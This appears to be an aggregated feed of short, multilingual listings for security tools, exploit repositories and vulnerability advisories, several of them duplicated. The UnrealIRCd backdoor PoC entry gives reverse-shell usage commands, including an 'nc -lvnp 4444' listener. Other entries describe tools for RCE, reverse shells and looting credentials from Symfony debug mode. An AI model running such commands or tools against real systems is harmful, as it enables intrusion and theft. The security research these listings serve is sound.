DevAudit

Примечание : DevAudit использует базу данных OSS Index, которая имеет некоторые ограничения на количество запросов. Если вы заметили, что достигли лимита, пожалуйста, создайте issue. Аутентифицированные пользователи получают более высокий лимит, и мы скоро внедряем аутентификацию в DevAudit...

dnSpy

dnSpy - Последний релиз dnSpy — это отладчик и редактор .NET сборок. Вы можете использовать его для редактирования и отладки сборок, даже если у вас нет исходного кода. Основные возможности: Отладка сборок .NET и Unity Редактирование сборок .NET и Unity Светлая и темная темы См. ниже для...

CVE-2010-2075

CVE-2010-2075 - UnrealIRCd 3.2.8.1 백도어 Bash PoC 설명 UnrealIRCd 3.2.8.1 소스 tarball에 삽입된 백도어를 위한 Bash PoC입니다. 변조된 바이너리는 IRC 포트로 전송된 AB; 접두사가 붙은 임의의 명령을 실행합니다. 사용법 chmod +x exploit.sh ./exploit.sh 예제: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 실행 전에 리스너를 설정하세요: nc -lvnp 4444 작동 원리 백도어는 수신 데이터에...

React2P4IM0Nshell

React2P4IM0Nshell 💥Next.js 및 React Server ComponentsRSC 환경을 위한 고급 RCE/소스 누출/DoSCVE-2025-55182/83/84 감사 및 익스플로잇 확장 도구. 브라우저에서 직접 사용할 수 있으며, 확장 프로그램 내에 통합된 Linux 터미널로 리버스 셸을 수신합니다 ❌ ⚡ CMDCENTER: 핵심 👁️ 수동 정찰 DOM과 HTTP 헤더를 조용히 분석합니다. window.nextf 및 text/x-component와 같은 시그니처를 감지하여 WAF에 경고하지 않고 Next.js...

cabir_analysis

description: Bluetooth-Worm:SymbOS/Cabir 분석 Bluetooth-Worm:SymbOS/Cabir 분석 읽기 시작하기 전에, 공지 하나 할게 있음 : 여기 적힌 모든 내용은 그냥 걸러들어. 나는 SymbianOS 개발자도, SymbianOS 환경에 익숙한 사람도 전혀 아니니까. 그런데 왜 이렇게 오래된 걸 분석하는 거지? 음, 왜냐하면 이게 리모트 해킹에 입문하기 가장 쉬운 방법이기 때문이야. 요즘 이런 유형의 짓은 1백만 달러 가치의 ndays/0days로 이루어지거든 🤑🤑🤑. 그리고 나는 아직...

eos

Symfony의 적들 EOS EOS는 디버그 모드에서 Symfony 대상으로부터 정보를 약탈합니다: 섹션| 설명 ---|--- 일반| 대상에 대한 일반 정보를 가져옵니다. Phpinfo| 노출된 phpinfo에서 Symfony 환경 변수를 추출합니다. 라우트| 등록된 라우트 목록을 가져옵니다. 요청 로그| POST 요청 로그에서 자격 증명을 찾습니다. 프로젝트 파일| 워드리스트를 기반으로 프로젝트 파일구성, 데이터베이스 등을 검색합니다. 소스| 애플리케이션 소스 코드를 추출합니다. 쿠키| Remember Me 쿠키를 제작합니다...

@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Summary The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces 0.0.0.0 and serves a POST /api/data/key endpoint with no authentication and wildcard CORS Access-Control-Allow-Origin: . Any network-adjacent or remote attacker can send a single...

GHSA-JMG2-RCXH-W8Q3 @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Summary The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces 0.0.0.0 and serves a POST /api/data/key endpoint with no authentication and wildcard CORS Access-Control-Allow-Origin: . Any network-adjacent or remote attacker can send a single...

Cobra

Cobra 이 프로젝트 설계는 현재 화이트박스 스캔 요구 사항을 충족할 수 없으며, 더 이상 유지보수되지 않습니다. 연구 목적으로만 사용하고 프로덕션 환경에서는 사용하지 마십시오. 소개Introduction Cobra는 소스 코드 보안 감사 도구로, 여러 개발 언어 소스 코드에서 대부분의 주요 보안 문제와 취약점을 탐지할 수 있습니다. 특징Features GUI/CLI/API 모드명령줄 모드 및 API 모드 로컬 웹 서버 서비스를 제공하여 GUI 시각적 조작이 가능하며, 로컬 API 인터페이스도 지원하여 다른 시스템배포 시스템...

CVE-2026-61782

Rsdoctor is a build analyzer tailored for projects built with Rspack. Prior to version 1.5.16, the default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces 0.0.0.0 and serves a POST /api/data/key endpoint with no authentication and wildcard CORS...

log4jhound

log4jhound プロジェクトやシステム内のLog4jの存在を検出するBashスクリプト：JARを展開してManifestファイルを解析し、ソースコード内のテキスト検索を行います。 使用方法: ./log4jhound.sh rootdirectory...

CVE-2026-61782

The @rsdoctor/rspack-plugin (prior to version 1.5.16 ) contains an unauthenticated HTTP API that exposes sensitive build information. The default Rsdoctor report server binds to all network interfaces (0.0.0.0 ) and provides a POST /api/data/key endpoint with no authentication and wildcard CORS. ...

CVE-2026-61782 @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Rsdoctor is a build analyzer tailored for projects built with Rspack. Prior to version 1.5.16, the default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces 0.0.0.0 and serves a POST /api/data/key endpoint with no authentication and wildcard CORS...

CVE-2026-61782 @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Rsdoctor is a build analyzer tailored for projects built with Rspack. Prior to version 1.5.16, the default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces 0.0.0.0 and serves a POST /api/data/key endpoint with no authentication and wildcard CORS...

CVE-2026-61782 @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Rsdoctor is a build analyzer tailored for projects built with Rspack. Prior to version 1.5.16, the default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces 0.0.0.0 and serves a POST /api/data/key endpoint with no authentication and wildcard CORS...

CVE-2026-73591

Dell Secure Connect Gateway SCG Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information exposure...

EUVD-2026-85337

Dell Secure Connect Gateway SCG Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information exposure...

CVE-2026-73591

Dell Secure Connect Gateway SCG Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information exposure...

CVE-2026-73591

Dell Secure Connect Gateway (SCG) Policy Manager , specifically versions prior to 5.34.00.16 , is affected by an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could exploit this flaw to cause Information exposure . No specific deta...

shannon v3.3.0

!NOTE Shannon 3.0 is live: deeper security code analysis, more thoroughly vetted findings, a rebuilt CLI, native CI/CD, professional PDF reports, and SARIF. Shannon is an autonomous, AI pentester for web applications and APIs. It analyzes your source code, identifies attack paths, and executes re...